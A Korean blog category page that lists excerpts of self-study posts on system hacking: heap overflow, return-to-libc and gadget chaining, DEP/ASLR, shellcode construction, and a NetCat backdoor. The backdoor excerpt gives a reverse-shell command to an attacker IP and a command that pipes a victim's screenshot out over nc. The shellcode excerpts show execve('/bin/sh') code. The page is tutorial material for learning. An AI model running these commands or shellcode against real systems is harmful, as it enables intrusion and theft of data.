해킹&보안/시스템해킹&보안 검색 결과

해당 글 12건

[D+12] HEAP BOF

9. HEAP BOF 1) HEAP BOF ▣ Heap이란?- 동적 메모리 할당 영역- 사용자가 쓰기 시작해야 공간이 확보됨.- 데이터 사이즈 알 수 없을 시 사용- malloc(), free() 등과 상호작용- STACK은 컴파일 시 할당, HEAP은 런타임 할당. ▣ Heap Overflow- STACK과 같이 인접한 변수를 덮어쓸 수 있음에 기초. - STACK과는 다른 구조이며, 직접적으로 RET 변조 불가(RET가 없음..)- STACK Overflow에 비해 취약점 발견 저조(= 정적분석이 어려움)- STACK Overflow보다 비율이 낮음. --> 큰 쓸모가 없어서..ㅜㅜ ▣ Heap Overflow Attack을 통해 손상받는 데이터- 인접 변수- 함수 포인터 ▣ Heap Overflow..
해킹&보안/시스템해킹&보안 2017. 4. 13. 23:38

[D+11] 보호 기법 우회 (2)

8. 보호 기법 우회 3) DEP + ASLR + ASCII Armor 우회 ---> 페도라로 진행 ▣ Chaining RTL- 연속적으로 함수를 호출하려면.. - Gadget(가젯)을 이용하자! ☞ 가젯은 RET로 끝나는 명령의순서임. 반드시 PR, PPR과 같은 모습이 아니라도 끝에 R만 존재하면 됨. ☞ POP을 통해 이전의 값들을 꺼내고 RET를 통해 새로운 명령(함수주소)를 부를 수 있음.- 다양한 gadget을 이용하여 연속적으로 함수 호출이 이루어짐.- gadget 구하기$ objdump -d -M intel [실행파일] | grep ret -B 3☞ RET 위로 3줄정도 더 grep하여 보여줌. ▣ PLT & GOT- PLT : 프로시져 링키지 테이블 (Procedure Linkage Ta..
해킹&보안/시스템해킹&보안 2017. 4. 13. 22:43

[D+10] 보호 기법 우회 (1)

8. 보호 기법 우회 1) DEP 우회 : RTL (Return To Libc) ▣ 공유 라이브러리 (shared library)- 여러 프로세스에서 동시에 공동 이용이 가능한 라이브러리- 파일 이름에 .so 가 포함되어 있음- 프로그램 시작시 적재됨 --> 무조건 시작을 해야함. ▣ 우회 원리- RET에 이전처럼 Shellcode를 넣지 않고 라이브러리 함수를 이용함. - 인자값을 전달할 필요가 있음. ▣ RTL 공격 실습 [공격 시나리오]1. Buffer에서 EBP까지의 거리2. system() Libc 주소3. system() 인자 주소 - /tmp/bof.c 작성 & 컴파일#include int main(int argc, char *argv[]) { char buffer[40]; strcpy(bu..
해킹&보안/시스템해킹&보안 2017. 4. 12. 23:16

[D+9] 메모리 보호 기법

7. 메모리 보호 기법 : Buffer Overflow 공격으로부터 보호하기 위한 메모리 보호 기법에는 다양한 기법들이 존재함. 1) DEP (Data Execution Protection)- NX(Non-eXecutable)와 w^x 동의어 - 메모리영역에 write 및 execute 권한을 동시에 부여하지 않음.- 메모리 영역에서 실행권한을 뺌. ex) 환경변수 실행권한 제거. => Shell Code 삽입 공격을 막음.- 메모리 공간 권한 확인 2) ASLR (Address Space Layout Randomization)- 메모리 영역들의 주소 공간 배치를 랜덤화하여 공격을 방해.- 직접적인 메모리 참조가 힘들어짐. (but 우회 가능)- 환경변수와 같은 곳을 직접참조가 힘들다. 3) ASCII ..
해킹&보안/시스템해킹&보안 2017. 4. 12. 21:36

[D+8] 쉘 코드 제작 (심화)

6. 쉘 코드 제작 (심화) 1) LOCAL SHELLCODE ▣ Local Shellcode- 로컬 환경에서 동작되는 쉘(/bin/sh)- /tmp/local.c 로 작성- 컴파일 : # gcc -o local local.c -static - execve(실행경로, 인자값 배열의 주소, 환경변수 배열의 주소) //execve는 시스템콜함수로 11번임.#include int main() { char * i2sec[2]; i2sec[0] = "/bin/sh"; i2sec[1] = 0; execve(i2sec[0], i2sec, &i2sec[1]); } - 어셈블리어로 작성.global _start _start: jmp short message start: pop ebx push 0 mov edx, esp ..
해킹&보안/시스템해킹&보안 2017. 4. 12. 10:12

[D+7] 쉘 코드 제작

5. 쉘 코드 제작 1) 쉘코드 ▣ 쉘코드란(Shellcode)? - 명령어 해석기 또는 모든 특정 명령어를 실행하기 위한 기계어의 나열들.- 시스템의 특정명령을 실행할 수 있는 기계어 코드.- 소프트웨어 취약점 이용을 위한 내용부에 사용. 2) 쉘코드 제작 ▣ 제작 방법론1. c언어로 프로그램 작성.2. 어셈블리어로 살펴본 후 필요한 함수 추출.3. 기계어로 다시 추출. (1) C언어 작성- /tmp/write.c로 저장- 컴파일 : #gcc -o write write.c#include int main() { printf("i2sec\n"); return 0; } (2) 시스템 콜 분석 (strace) - strace : 시스템 콜 호출을 추적할 수 있는 프로그램. (리눅스 기본 내장 프로그램)☞ 시스..
해킹&보안/시스템해킹&보안 2017. 4. 11. 23:38

쉘 프로그래밍

쉘 프로그래밍 1) For for /l %변수 in (초기값, 증가값, 최대값) do 명령 증가 또는 감소하는 for문 for /f "옵션" %변수 in (파일명) do 명령 파일 내용을 범위로 사용 for /f "옵션" %변수 in ("문자열") do 명령 문자열을 범위로 사용 for /f "옵션" %변수 in ('명령어') do 명령 명령 실행 결과를 범위로 사용 ▣ /f 옵션 "skip=숫자" 무시할 행의 수 "delims=문자" 각 행의 구분자 "tokens=범위" 각 행에서 사용할 토큰 - 옵션 미지정시 첫 토큰들만 출력. - skip : 해당 줄 까지 무시함. (없는 줄 취급)- delims : 각 행에서 구분자로 잘라 출력.- tokens : 토큰 별로 자름. - "delims=" : 구분자..
해킹&보안/시스템해킹&보안 2017. 3. 16. 22:31

[D+5] Backdoor (백도어) (2)

3. 백도어 (Backdoor) 3) 활용 ▣ 방화벽 우회 백도어 (NetCat) / 리버스텔넷 - 희생자화면 캡처하기- nc.exe 와 nircmd.exe가 필요함. (nircmd는 해킹툴이 아니고 명령어 실행툴)- 희생자의 컴퓨터에 nc.exe와 nircmd.exe 파일을 심어놨다는 가정하에 진행. ① 공격자컴 : nc -l -p [포트번호] ② 희생자컴 : nc -e cmd.exe [공격자 IP] [포트번호] ----- 밑의 명령어들은 모두 공격자가 실행.③ 붙은 희생자 cmd : nircmd savescreenshot [저장할 파일명]④ 공격자 컴의 새로운 cmd 창 : nc -l -p [또다른 포트번호] > [저장할 파일명]⑤ 붙은 희생자 cmd : type [전송할 파일명] | nc -w [전..
해킹&보안/시스템해킹&보안 2017. 3. 8. 23:34